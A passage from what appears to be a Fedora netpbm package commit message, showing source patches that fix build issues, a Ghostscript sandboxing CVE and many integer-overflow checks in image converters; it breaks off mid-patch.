	netpbm-10.33-multilib.patch netpbm-10.33-ppmtompeg.patch 
	netpbm-10.34-pamscale.patch netpbm-10.35-64bitfix.patch 
	netpbm-10.35-gcc43.patch netpbm-10.35-glibc.patch 
	netpbm-10.35-pnmmontagefix.patch 
	netpbm-10.35-pnmtofiasco-stdin.patch netpbm-10.35-rgbtxt.patch 
	netpbm-10.35-svgtopam.patch netpbm-9.24-strip.patch 
Log Message:
* Wed Oct 21 2009 Jindrich Novy <jnovy at redhat.com> 10.47.04-1
- update to 10.47.04 (it is now stable) (#529525)


netpbm-CAN-2005-2471.patch:
 pstopnm.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-CAN-2005-2471.patch ---
--- netpbm-10.29/converter/other/pstopnm.c.CAN-2005-2471	2005-08-15 02:39:46.000000000 +0200
+++ netpbm-10.29/converter/other/pstopnm.c	2005-08-16 15:38:15.000000000 +0200
@@ -711,11 +711,11 @@
                    "'%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s'",
                    ghostscriptProg, arg0,
                    deviceopt, outfileopt, gopt, ropt, "-q", "-dNOPAUSE", 
-                   "-dSAFER", "-");
+                   "-dPARANOIDSAFER", "-");
     }
 
     execl(ghostscriptProg, arg0, deviceopt, outfileopt, gopt, ropt, "-q",
-          "-dNOPAUSE", "-dSAFER", "-", NULL);
+          "-dNOPAUSE", "-dPARANOIDSAFER", "-", NULL);
     
     pm_error("execl() of Ghostscript ('%s') failed, errno=%d (%s)",
              ghostscriptProg, errno, strerror(errno));

netpbm-bmptopnm.patch:
 bmptopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-bmptopnm.patch ---
--- netpbm-10.35/converter/other/bmptopnm.c.bmptopnm	2007-01-29 13:08:46.000000000 +0100
+++ netpbm-10.35/converter/other/bmptopnm.c	2007-01-29 13:32:21.000000000 +0100
@@ -1262,7 +1262,7 @@ readBmp(FILE *               const ifP, 
         xel **               const colormapP,
         bool                 const verbose) {
 
-    xel * colormap;  /* malloc'ed */
+    xel * colormap = NULL;  /* malloc'ed */
     unsigned int pos;
         /* Current byte position in the BMP file */
 

netpbm-gcc4.patch:
 lib/pm.h  |    1 +
 urt/rle.h |    1 +
 2 files changed, 2 insertions(+)

--- NEW FILE netpbm-gcc4.patch ---
--- netpbm-10.30/lib/pm.h.gcc4	2005-10-21 12:19:56.000000000 +0200
+++ netpbm-10.30/lib/pm.h	2005-10-21 12:20:03.000000000 +0200
@@ -18,6 +18,7 @@
 #include <sys/types.h>
 #include <ctype.h>
 #include <stdio.h>
+#include <string.h>
 #include <errno.h>
 #include <setjmp.h>
 #include <sys/stat.h>
--- netpbm-10.30/urt/rle.h.gcc4	2005-10-21 12:19:56.000000000 +0200
+++ netpbm-10.30/urt/rle.h	2005-10-21 12:21:31.000000000 +0200
@@ -36,6 +36,7 @@
 #include "rle_config.h"     /* Configuration parameters. */
 
 #include <stdio.h>      /* Declare FILE. */
+#include <string.h>
 
 #ifdef c_plusplus
 #define USE_PROTOTYPES

netpbm-glibc.patch:
 pnmtotiffcmyk.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-glibc.patch ---
--- netpbm-10.35/converter/other/pnmtotiffcmyk.c.glibc	2006-09-18 12:20:06.000000000 +0200
+++ netpbm-10.35/converter/other/pnmtotiffcmyk.c	2007-08-23 09:18:30.000000000 +0200
@@ -974,8 +974,8 @@ int main( int argc, char **argv ) {
 
   if ( (err = parseOpts( argc, argv, rt )) ) goto exit ;
   
-  if ( (err = rt->in->open( rt->in, rt )) ) goto exit ;
-  if ( (err = rt->out->open( rt->out, rt )) ) goto exit ;
+  if ( (err = (rt->in->open)( rt->in, rt )) ) goto exit ;
+  if ( (err = (rt->out->open)( rt->out, rt )) ) goto exit ;
 
   while ( rt->in->hasMore( rt->in ) ) {
     if ( (err = rt->in->next( rt->in, &r, &g, &b )) ) goto exit ;

netpbm-message.patch:
 giftopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-message.patch ---
diff -up netpbm-10.47.04/converter/other/giftopnm.c.message netpbm-10.47.04/converter/other/giftopnm.c
--- netpbm-10.47.04/converter/other/giftopnm.c.message	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/giftopnm.c	2009-10-21 14:34:42.000000000 +0200
@@ -1676,7 +1676,7 @@ convertImages(FILE * const ifP, 
                          imageSeq, imageSeq > 1 ? "s" : "");
         } else {
             if (verbose)
-                pm_message("Reading Image Sequence %d", imageSeq);
+                pm_message("Reading Image Sequence %d", imageSeq+1);
             convertImage(ifP, !allImages && (imageSeq != requestedImageSeq), 
                          imageout_file, alphafile, gifScreen, gif89,
                          tolerateBadInput);

netpbm-multilib.patch:
 endiangen.c |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE netpbm-multilib.patch ---
diff -up netpbm-10.47.04/buildtools/endiangen.c.multilib netpbm-10.47.04/buildtools/endiangen.c
--- netpbm-10.47.04/buildtools/endiangen.c.multilib	2009-10-21 13:38:54.000000000 +0200
+++ netpbm-10.47.04/buildtools/endiangen.c	2009-10-21 14:35:58.000000000 +0200
@@ -87,7 +87,6 @@ main(int argc, char **argv) {
            byteOrder() == ENDIAN_LITTLE ? "LITTLE_ENDIAN" : "BIG_ENDIAN");
     printf("#endif\n");
     printf("\n");
-    printf("#define BITS_PER_LONG %u\n", bitsPerLong());
 
     return 0;
 }

netpbm-nodoc.patch:
 GNUmakefile |    6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

--- NEW FILE netpbm-nodoc.patch ---
--- netpbm-10.24/GNUmakefile.nodoc	2004-08-11 20:41:54.000000000 +0200
+++ netpbm-10.24/GNUmakefile	2004-09-23 16:08:29.724369240 +0200
@@ -275,16 +275,12 @@
 endif
 
 .PHONY: install.manweb
-install.manweb: $(PKGDIR)/man/web/netpbm.url $(PKGDIR)/bin/doc.url
+install.manweb: $(PKGDIR)/man/web/netpbm.url
 
 $(PKGDIR)/man/web/netpbm.url: $(PKGDIR)/man/web
 	echo "$(NETPBM_DOCURL)" > $@
 	chmod $(INSTALL_PERM_MAN) $@
 
-$(PKGDIR)/bin/doc.url: $(PKGDIR)/bin
-	echo "$(NETPBM_DOCURL)" > $@
-	chmod $(INSTALL_PERM_MAN) $@
-
 .PHONY: install-dev
 # Note that you might install the development package and NOT the runtime
 # package.  If you have a special system for building stuff, maybe for 

netpbm-pamscale.patch:
 pamscale.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE netpbm-pamscale.patch ---
--- netpbm-10.34/editor/pamscale.c.pamscale	2006-03-16 01:33:49.000000000 +0100
+++ netpbm-10.34/editor/pamscale.c	2006-08-12 20:12:14.000000000 +0200
@@ -2081,6 +2081,8 @@
     struct pam inpam, outpam;
     float xscale, yscale;
 
+    memset(&cmdline, 0, sizeof(cmdline));
+
     pnm_init(&argc, argv);
 
     parseCommandLine(argc, argv, &cmdline);

netpbm-pnmdepth.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-pnmdepth.patch ---
--- netpbm-10.32/other/Makefile.pnmdepth	2006-01-03 23:47:15.000000000 +0100
+++ netpbm-10.32/other/Makefile	2006-04-03 14:53:17.000000000 +0200
@@ -66,7 +66,7 @@
 	  $(SYMLINK) pamsplit$(EXE) pnmsplit
 # In February 2006, pamdepth replaced pnmdepth
 	cd $(PKGDIR)/bin ; \
-	  rm -f pnmsdepth ; \
-	  $(SYMLINK) pnmsdepth$(EXE) pnmdepth
+	  rm -f pnmdepth ; \
+	  $(SYMLINK) pamdepth$(EXE) pnmdepth
 
 FORCE:

netpbm-pnmtofiasco-stdin.patch:
 codec/coder.c |   20 ++++++++++++++++----
 codec/wfa.h   |    3 +++
 lib/image.c   |    2 +-
 lib/image.h   |    6 ++++++
 4 files changed, 26 insertions(+), 5 deletions(-)

--- NEW FILE netpbm-pnmtofiasco-stdin.patch ---
diff -up netpbm-10.35.58/converter/other/fiasco/codec/coder.c.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/codec/coder.c
--- netpbm-10.35.58/converter/other/fiasco/codec/coder.c.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/codec/coder.c	2009-01-21 08:03:00.000000000 +0100
@@ -213,15 +213,14 @@ alloc_coder (char const * const *inputna
     */
    {
       char     *filename;
-      int   	width, w = 0, height, h = 0;
+      int   	width, w = 0, height, h = 0, format;
       bool_t	color, c = NO;
+      xelval maxval;
       unsigned 	n;
       
       for (n = 0; (filename = get_input_image_name (inputname, n)); n++)
       {
           FILE *file;
-          xelval maxval;
-          int format;
           if (filename == NULL)
               file = stdin;
           else
@@ -251,6 +250,8 @@ alloc_coder (char const * const *inputna
       wi->width  = w;
       wi->height = h;
       wi->color  = c;
+      wi->format = format;
+      wi->maxval = maxval;
    }
 
    /*
@@ -642,7 +643,18 @@ video_coder (char const * const *image_t
        */
       future_frame   = frame == future_display;
       c->mt->number   = frame;
-      c->mt->original = read_image (image_name);
+      if (strcmp(image_name, "-")) {
+         c->mt->original = read_image (image_name);
+      } else { /* stdin is not seekable - read image contents without rewind */
+	 int width = wfa->wfainfo->width;
+	 int height = wfa->wfainfo->height;
+	 int color = wfa->wfainfo->color;
+	 int format = wfa->wfainfo->format;
+	 xelval maxval = wfa->wfainfo->maxval;
+
+	 c->mt->original = alloc_image(width, height, color, FORMAT_4_4_4);
+	 read_image_data(c->mt->original, stdin, color, width, height, maxval, format);
+      }
       if (c->tiling->exponent && type == I_FRAME) 
 	 perform_tiling (c->mt->original, c->tiling);
 
diff -up netpbm-10.35.58/converter/other/fiasco/codec/wfa.h.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/codec/wfa.h
--- netpbm-10.35.58/converter/other/fiasco/codec/wfa.h.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/codec/wfa.h	2009-01-21 08:03:28.000000000 +0100
@@ -75,6 +75,7 @@ typedef struct range_info
    unsigned level;			/* bintree level of range */
 } range_info_t;
 
+#include "pnm.h"
 #include "image.h"
 #include "rpf.h"
 #include "bit-io.h"
@@ -93,6 +94,8 @@ typedef struct wfa_info
    unsigned  width;			/* image width */
    unsigned  height;			/* image height */
    unsigned  level;			/* image level */
+   unsigned  format;			/* image format */
+   xelval    maxval;			/* image maximal pixel intensity value */
    rpf_t    *rpf;			/* Standard reduced precision format */
    rpf_t    *dc_rpf;			/* DC reduced precision format */
    rpf_t    *d_rpf;			/* Delta reduced precision format */
diff -up netpbm-10.35.58/converter/other/fiasco/lib/image.c.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/lib/image.c
--- netpbm-10.35.58/converter/other/fiasco/lib/image.c.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/lib/image.c	2009-01-21 08:01:53.000000000 +0100
@@ -273,7 +273,7 @@ free_image (image_t *image)
 }
 
 
-static void 
+void 
 read_image_data(image_t * const image, FILE *input, const bool_t color,
                 const int width, const int height, const xelval maxval,
                 const int format) {
diff -up netpbm-10.35.58/converter/other/fiasco/lib/image.h.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/lib/image.h
--- netpbm-10.35.58/converter/other/fiasco/lib/image.h.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/lib/image.h	2009-01-21 08:02:29.000000000 +0100
@@ -17,6 +17,8 @@
 #ifndef _IMAGE_H
 #define _IMAGE_H
 
+#include "pnm.h"
+
 #include <stdio.h>
 #include "types.h"
 #include "fiasco.h"
@@ -51,6 +53,10 @@ read_pnmheader (const char *image_name, 
 image_t *
 read_image (const char *image_name);
 void
+read_image_data(image_t * const image, FILE *input, const bool_t color,
+                const int width, const int height, const xelval maxval,
+                const int format);
+void
 write_image (const char *image_name, const image_t *image);
 bool_t
 same_image_type (const image_t *img1, const image_t *img2);

netpbm-ppmtompeg.patch:
 fsize.c    |    3 +--
 parallel.c |    2 --
 2 files changed, 1 insertion(+), 4 deletions(-)

--- NEW FILE netpbm-ppmtompeg.patch ---
--- netpbm-10.35/converter/ppm/ppmtompeg/fsize.c.ppmtompeg	2006-09-18 12:20:24.000000000 +0200
+++ netpbm-10.35/converter/ppm/ppmtompeg/fsize.c	2006-09-18 13:35:53.000000000 +0200
@@ -115,8 +115,7 @@ Fsize_Note(int          const id,
     Fsize_Validate(&Fsize_x, &Fsize_y);
 
     if ((Fsize_x == 0) || (Fsize_y == 0)) {
-        fprintf(stderr,"Frame %d:  size is less than the minimum: %d x %d!\n",
-                id, DCTSIZE*2, DCTSIZE*2);
+    	fprintf(stderr,"Frame %d: image dimensions need to be integer multiples of 16 for ppmtompeg!\n",id);
         exit(1);
     }
 
--- netpbm-10.35/converter/ppm/ppmtompeg/parallel.c.ppmtompeg	2006-09-18 13:30:49.000000000 +0200
+++ netpbm-10.35/converter/ppm/ppmtompeg/parallel.c	2006-09-18 13:32:24.000000000 +0200
@@ -1316,8 +1316,6 @@ CombineServer(int          const numFram
   TransmitPortNum(masterHostName, masterPortNum, combinePortNum);
   
   close(outputServerSocket);
-
-  fclose(ofP);
 }
 
 

netpbm-security-code.patch:
 analyzer/pgmtexture.c              |    9 +++++
 converter/other/gemtopnm.c         |    1 
 converter/other/jpegtopnm.c        |    2 +
 converter/other/pbmtopgm.c         |    1 
 converter/other/pnmtoddif.c        |    2 +
 converter/other/pnmtojpeg.c        |    9 +++++
 converter/other/pnmtops.c          |   12 +++++--
 converter/other/pnmtorle.c         |    2 +
 converter/other/pnmtosgi.c         |   19 ++++++++++++
 converter/other/rletopnm.c         |    2 +
 converter/other/sgitopnm.c         |    6 +++
 converter/other/sirtopnm.c         |    1 
 converter/other/tifftopnm.c        |    4 +-
 converter/other/xwdtopnm.c         |    5 +++
 converter/pbm/icontopbm.c          |    6 +++
 converter/pbm/mdatopbm.c           |    5 ++-
 converter/pbm/mgrtopbm.c           |    2 +
 converter/pbm/pbmto10x.c           |    2 -
 converter/pbm/pbmto4425.c          |    3 +
 converter/pbm/pbmtoascii.c         |    2 +
 converter/pbm/pbmtogem.c           |    1 
 converter/pbm/pbmtogo.c            |    1 
 converter/pbm/pbmtoicon.c          |    1 
 converter/pbm/pbmtolj.c            |    4 ++
 converter/pbm/pbmtomacp.c          |    3 +
 converter/pbm/pbmtomda.c           |    1 
 converter/pbm/pbmtoppa/pbm.c       |    4 +-
 converter/pbm/pbmtoppa/pbmtoppa.c  |    1 
 converter/pbm/pbmtoxbm.c           |    2 +
 converter/pbm/pbmtoybm.c           |    1 
 converter/pbm/pbmtozinc.c          |    1 
 converter/pbm/pktopbm.c            |    1 
 converter/pbm/thinkjettopbm.l      |    4 ++
 converter/pbm/ybmtopbm.c           |    1 
 converter/pgm/lispmtopgm.c         |    5 ++-
 converter/pgm/psidtopgm.c          |    1 
 converter/ppm/Makefile             |    2 -
 converter/ppm/ilbmtoppm.c          |   27 +++++++++++++++++
 converter/ppm/imgtoppm.c           |    2 +
 converter/ppm/pcxtoppm.c           |    2 +
 converter/ppm/picttoppm.c          |    2 +
 converter/ppm/pjtoppm.c            |   21 ++++++++-----
 converter/ppm/ppmtoeyuv.c          |    1 
 converter/ppm/ppmtoicr.c           |    2 -
 converter/ppm/ppmtoilbm.c          |    8 ++++-
 converter/ppm/ppmtolj.c            |    3 +
 converter/ppm/ppmtomitsu.c         |    2 +
 converter/ppm/ppmtompeg/iframe.c   |    4 +-
 converter/ppm/ppmtompeg/parallel.c |    4 +-
 converter/ppm/ppmtompeg/psearch.c  |   18 +++++++++++
 converter/ppm/ppmtompeg/rgbtoycc.c |    2 +
 converter/ppm/ppmtopcx.c           |    2 +
 converter/ppm/ppmtopict.c          |    2 +
 converter/ppm/ppmtopj.c            |    1 
 converter/ppm/ppmtopjxl.c          |    8 +++++
 converter/ppm/ppmtowinicon.c       |    8 +++++
 converter/ppm/ppmtoxpm.c           |    2 +
 converter/ppm/qrttoppm.c           |    2 -
 converter/ppm/sldtoppm.c           |    2 +
 converter/ppm/ximtoppm.c           |    4 ++
 converter/ppm/xpmtoppm.c           |    1 
 converter/ppm/yuvtoppm.c           |    1 
 editor/pamcut.c                    |    2 +
 editor/pbmpscale.c                 |    1 
 editor/pbmreduce.c                 |    1 
 editor/pnmgamma.c                  |    1 
 editor/pnmhisteq.c                 |    1 
 editor/pnmindex.csh                |    3 +
 editor/pnmpad.c                    |    2 +
 editor/pnmremap.c                  |    3 +
 editor/pnmscalefixed.c             |    7 ++++
 editor/pnmshear.c                  |    6 +++
 editor/ppmdither.c                 |    6 +++
 editor/specialty/pamoil.c          |    1 
 generator/pbmpage.c                |    3 +
 generator/pbmtext.c                |    4 ++
 generator/pgmcrater.c              |    2 -
 generator/pgmkernel.c              |    2 -
 lib/libpam.c                       |    3 +
 lib/libpammap.c                    |    2 +
 lib/libpbm1.c                      |    1 
 lib/libpbmvms.c                    |    2 +
 lib/libpm.c                        |   49 +++++++++++++++++++++++++++++++
 lib/pm.h                           |    7 ++++
 other/pnmcolormap.c                |    1 
 urt/README                         |    5 +++
 urt/Runput.c                       |   10 ++++--
 urt/rle.h                          |   14 +++++++++
 urt/rle_addhist.c                  |   15 ++++++++-
 urt/rle_getrow.c                   |    3 +
 urt/rle_hdr.c                      |   19 ++++++++++--
 urt/rle_open_f.c                   |   57 -------------------------------------
 urt/rle_putcom.c                   |    6 +++
 urt/scanargs.c                     |    6 ++-
 94 files changed, 404 insertions(+), 101 deletions(-)

--- NEW FILE netpbm-security-code.patch ---
diff -up netpbm-10.47.04/analyzer/pgmtexture.c.security netpbm-10.47.04/analyzer/pgmtexture.c
--- netpbm-10.47.04/analyzer/pgmtexture.c.security	2009-10-21 13:38:55.000000000 +0200
+++ netpbm-10.47.04/analyzer/pgmtexture.c	2009-10-21 15:09:33.000000000 +0200
@@ -79,6 +79,9 @@ vector (int nl, int nh)
 {
     float *v;
 
+    if(nh < nl)
+	pm_error("assert: h < l");
+    overflow_add(nh - nl, 1);
     MALLOCARRAY(v, (unsigned) (nh - nl + 1));
     if (v == NULL)
         pm_error("Unable to allocate memory for a vector.");
@@ -95,6 +98,9 @@ matrix (int nrl, int nrh, int ncl, int n
     float **m;
 
     /* allocate pointers to rows */
+    if(nrh < nrl)
+	pm_error("assert: h < l");
+    overflow_add(nrh - nrl, 1);
     MALLOCARRAY(m, (unsigned) (nrh - nrl + 1));
     if (m == NULL)
         pm_error("Unable to allocate memory for a matrix.");
@@ -102,6 +108,9 @@ matrix (int nrl, int nrh, int ncl, int n
     m -= ncl;
 
     /* allocate rows and set pointers to them */
+    if(nch < ncl)
+        pm_error("assert: h < l");
+    overflow_add(nch - ncl, 1);
     for (i = nrl; i <= nrh; i++)
     {
         MALLOCARRAY(m[i], (unsigned) (nch - ncl + 1));
diff -up netpbm-10.47.04/converter/other/gemtopnm.c.security netpbm-10.47.04/converter/other/gemtopnm.c
--- netpbm-10.47.04/converter/other/gemtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/gemtopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -106,6 +106,7 @@ main(argc, argv)
 
 	pnm_writepnminit( stdout, cols, rows, MAXVAL, type, 0 );
 
+    overflow_add(cols, padright);
     { 
         /* allocate input row data structure */
         int plane;
diff -up netpbm-10.47.04/converter/other/jpegtopnm.c.security netpbm-10.47.04/converter/other/jpegtopnm.c
--- netpbm-10.47.04/converter/other/jpegtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/jpegtopnm.c	2009-10-21 15:54:30.000000000 +0200
@@ -861,6 +861,8 @@ convertImage(FILE *                     
     /* Calculate output image dimensions so we can allocate space */
     jpeg_calc_output_dimensions(cinfoP);
 
+    overflow2(cinfoP->output_width, cinfoP->output_components);
+
     /* Start decompressor */
     jpeg_start_decompress(cinfoP);
 
diff -up netpbm-10.47.04/converter/other/pbmtopgm.c.security netpbm-10.47.04/converter/other/pbmtopgm.c
--- netpbm-10.47.04/converter/other/pbmtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pbmtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -47,6 +47,7 @@ main(int argc, char *argv[]) {
                  "than the image height (%u rows)", height, rows);
 
     outrow = pgm_allocrow(cols) ;
+    overflow2(width, height);
     maxval = MIN(PGM_OVERALLMAXVAL, width*height);
     pgm_writepgminit(stdout, cols, rows, maxval, 0) ;
 
diff -up netpbm-10.47.04/converter/other/pngtopnm.c.security netpbm-10.47.04/converter/other/pngtopnm.c
diff -up netpbm-10.47.04/converter/other/pnmtoddif.c.security netpbm-10.47.04/converter/other/pnmtoddif.c
--- netpbm-10.47.04/converter/other/pnmtoddif.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtoddif.c	2009-10-21 15:09:33.000000000 +0200
@@ -632,6 +632,7 @@ main(int argc, char *argv[]) {
     switch (PNM_FORMAT_TYPE(format)) {
     case PBM_TYPE:
         ip.bits_per_pixel = 1;
+        overflow_add(cols, 7);
         ip.bytes_per_line = (cols + 7) / 8;
         ip.spectral = 2;
         ip.components = 1;
@@ -647,6 +648,7 @@ main(int argc, char *argv[]) {
         ip.polarity = 2;
         break;
     case PPM_TYPE:
+        overflow2(cols, 3);
         ip.bytes_per_line = 3 * cols;
         ip.bits_per_pixel = 24;
         ip.spectral = 5;
diff -up netpbm-10.47.04/converter/other/pnmtojpeg.c.security netpbm-10.47.04/converter/other/pnmtojpeg.c
--- netpbm-10.47.04/converter/other/pnmtojpeg.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtojpeg.c	2009-10-21 15:56:32.000000000 +0200
@@ -605,7 +605,11 @@ read_scan_script(j_compress_ptr const ci
            want JPOOL_PERMANENT.  
         */
         const unsigned int scan_info_size = nscans * sizeof(jpeg_scan_info);
-        jpeg_scan_info * const scan_info = 
+        const jpeg_scan_info * scan_info;
+      
+        overflow2(nscans, sizeof(jpeg_scan_info));
+      
+        scan_info =
             (jpeg_scan_info *)
             (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
                                         scan_info_size);
@@ -936,6 +940,8 @@ compute_rescaling_array(JSAMPLE ** const
   const long half_maxval = maxval / 2;
   long val;
 
+  overflow_add(maxval, 1);
+  overflow2(maxval+1, sizeof(JSAMPLE));
   *rescale_p = (JSAMPLE *)
     (cinfo.mem->alloc_small) ((j_common_ptr) &cinfo, JPOOL_IMAGE,
                               (size_t) (((long) maxval + 1L) * 
@@ -1014,6 +1020,7 @@ convert_scanlines(struct jpeg_compress_s
     */
 
   /* Allocate the libpnm output and compressor input buffers */
+  overflow2(cinfo_p->image_width, cinfo_p->input_components);
   buffer = (*cinfo_p->mem->alloc_sarray)
     ((j_common_ptr) cinfo_p, JPOOL_IMAGE,
      (unsigned int) cinfo_p->image_width * cinfo_p->input_components, 
diff -up netpbm-10.47.04/converter/other/pnmtops.c.security netpbm-10.47.04/converter/other/pnmtops.c
--- netpbm-10.47.04/converter/other/pnmtops.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtops.c	2009-10-21 15:09:33.000000000 +0200
@@ -186,16 +186,20 @@ parseCommandLine(int argc, char ** argv,
     cmdlineP->canturn =  !noturn;
     cmdlineP->showpage = !noshowpage;
     
+    overflow2(width, 72);
     cmdlineP->width  = width * 72;
+    overflow2(height, 72);
     cmdlineP->height = height * 72;
 
-    if (imagewidthSpec)
+    if (imagewidthSpec) {
+        overflow2(imagewidth, 72);
         cmdlineP->imagewidth = imagewidth * 72;
-    else
+    } else
         cmdlineP->imagewidth = 0;
-    if (imageheightSpec)
+    if (imageheightSpec) {
+        overflow2(imageheight, 72);
         cmdlineP->imageheight = imageheight * 72;
-    else
+    } else
         cmdlineP->imageheight = 0;
 
     if (!cmdlineP->psfilter &&
diff -up netpbm-10.47.04/converter/other/pnmtorle.c.security netpbm-10.47.04/converter/other/pnmtorle.c
--- netpbm-10.47.04/converter/other/pnmtorle.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtorle.c	2009-10-21 15:09:33.000000000 +0200
@@ -19,6 +19,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /*
  * pnmtorle - A program which will convert pbmplus (ppm or pgm) images
diff -up netpbm-10.47.04/converter/other/pnmtosgi.c.security netpbm-10.47.04/converter/other/pnmtosgi.c
--- netpbm-10.47.04/converter/other/pnmtosgi.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtosgi.c	2009-10-21 15:09:33.000000000 +0200
@@ -213,6 +213,22 @@ write_channels(cols, rows, channels, put
     }
 }
 
+static void *
+xmalloc2(int x, int y)
+{
+    void *mem;
+
+    overflow2(x,y);
+    if( x * y == 0 )
+        return NULL;
+
+    mem = malloc2(x, y);
+    if( mem == NULL )
+        pm_error("out of memory allocating %d bytes", x * y);
+    return mem;
+}
+
+
 static void
 put_big_short(short s)
 {
@@ -250,6 +266,7 @@ build_channels(FILE *ifp, int cols, int 
 #endif
 
     if( storage != STORAGE_VERBATIM ) {
+        overflow2(channels, rows);
         MALLOCARRAY_NOFAIL(table, channels * rows);
         MALLOCARRAY_NOFAIL(rletemp, WORSTCOMPR(cols));
     }
@@ -303,6 +320,8 @@ compress(temp, row, rows, cols, chan_no,
             break;
         case STORAGE_RLE:
             tabrow = chan_no * rows + row;
+            overflow2(chan_no, rows);
+            overflow_add(chan_no* rows, row);
             len = rle_compress(temp, cols);    /* writes result into rletemp */
             channel[chan_no][row].length = len;
             MALLOCARRAY(p, len);
diff -up netpbm-10.47.04/converter/other/rletopnm.c.security netpbm-10.47.04/converter/other/rletopnm.c
--- netpbm-10.47.04/converter/other/rletopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/rletopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -19,6 +19,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /*
  * rletopnm - A conversion program to convert from Utah's "rle" image format
diff -up netpbm-10.47.04/converter/other/sgitopnm.c.security netpbm-10.47.04/converter/other/sgitopnm.c
--- netpbm-10.47.04/converter/other/sgitopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/sgitopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -252,13 +252,17 @@ read_channels(ifp, head, table, func, oc
 
     if (ochan < 0) {
         maxchannel = (head->zsize < 3) ? head->zsize : 3;
+        overflow2(head->ysize, maxchannel);
         MALLOCARRAY_NOFAIL(image, head->ysize * maxchannel);
     } else {
         maxchannel = ochan + 1;
         MALLOCARRAY_NOFAIL(image, head->ysize);
     }
-    if ( table ) 
+    if ( table ) {
+        overflow2(head->xsize, 2);
+        overflow_add(head->xsize*2, 2);
         MALLOCARRAY_NOFAIL(temp, WORSTCOMPR(head->xsize));
+    }
 
     for( channel = 0; channel < maxchannel;  channel++ ) {
 #ifdef DEBUG
diff -up netpbm-10.47.04/converter/other/sirtopnm.c.security netpbm-10.47.04/converter/other/sirtopnm.c
--- netpbm-10.47.04/converter/other/sirtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/sirtopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -69,6 +69,7 @@ char* argv[];
 	    }
 	    break;
 	case PPM_TYPE:
+	    overflow3(cols, rows, 3);
 	    picsize = cols * rows * 3;
 	    planesize = cols * rows;
             if ( !( sirarray = (unsigned char*) malloc( picsize ) ) ) 
diff -up netpbm-10.47.04/converter/other/tifftopnm.c.security netpbm-10.47.04/converter/other/tifftopnm.c
--- netpbm-10.47.04/converter/other/tifftopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/tifftopnm.c	2009-10-21 15:49:29.000000000 +0200
@@ -1291,7 +1291,9 @@ convertRasterByRows(pnmOut *       const
     if (scanbuf == NULL)
         pm_error("can't allocate memory for scanline buffer");
 
-    MALLOCARRAY(samplebuf, cols * spp);
+    /* samplebuf is unsigned int * !!! */
+    samplebuf = (unsigned int *) malloc3(cols , sizeof(unsigned int) , spp);
+
     if (samplebuf == NULL)
         pm_error("can't allocate memory for row buffer");
 
diff -up netpbm-10.47.04/converter/other/xwdtopnm.c.security netpbm-10.47.04/converter/other/xwdtopnm.c
--- netpbm-10.47.04/converter/other/xwdtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/xwdtopnm.c	2009-10-21 15:53:27.000000000 +0200
@@ -209,6 +209,10 @@ processX10Header(X10WDFileHeader *  cons
         *colorsP = pnm_allocrow(2);
         PNM_ASSIGN1((*colorsP)[0], 0);
         PNM_ASSIGN1((*colorsP)[1], *maxvalP);
+        overflow_add(h10P->pixmap_width, 15);
+        if(h10P->pixmap_width < 0)
+            pm_error("assert: negative width");
+        overflow2((((h10P->pixmap_width + 15) / 16) * 16 - h10P->pixmap_width), 8);
         *padrightP =
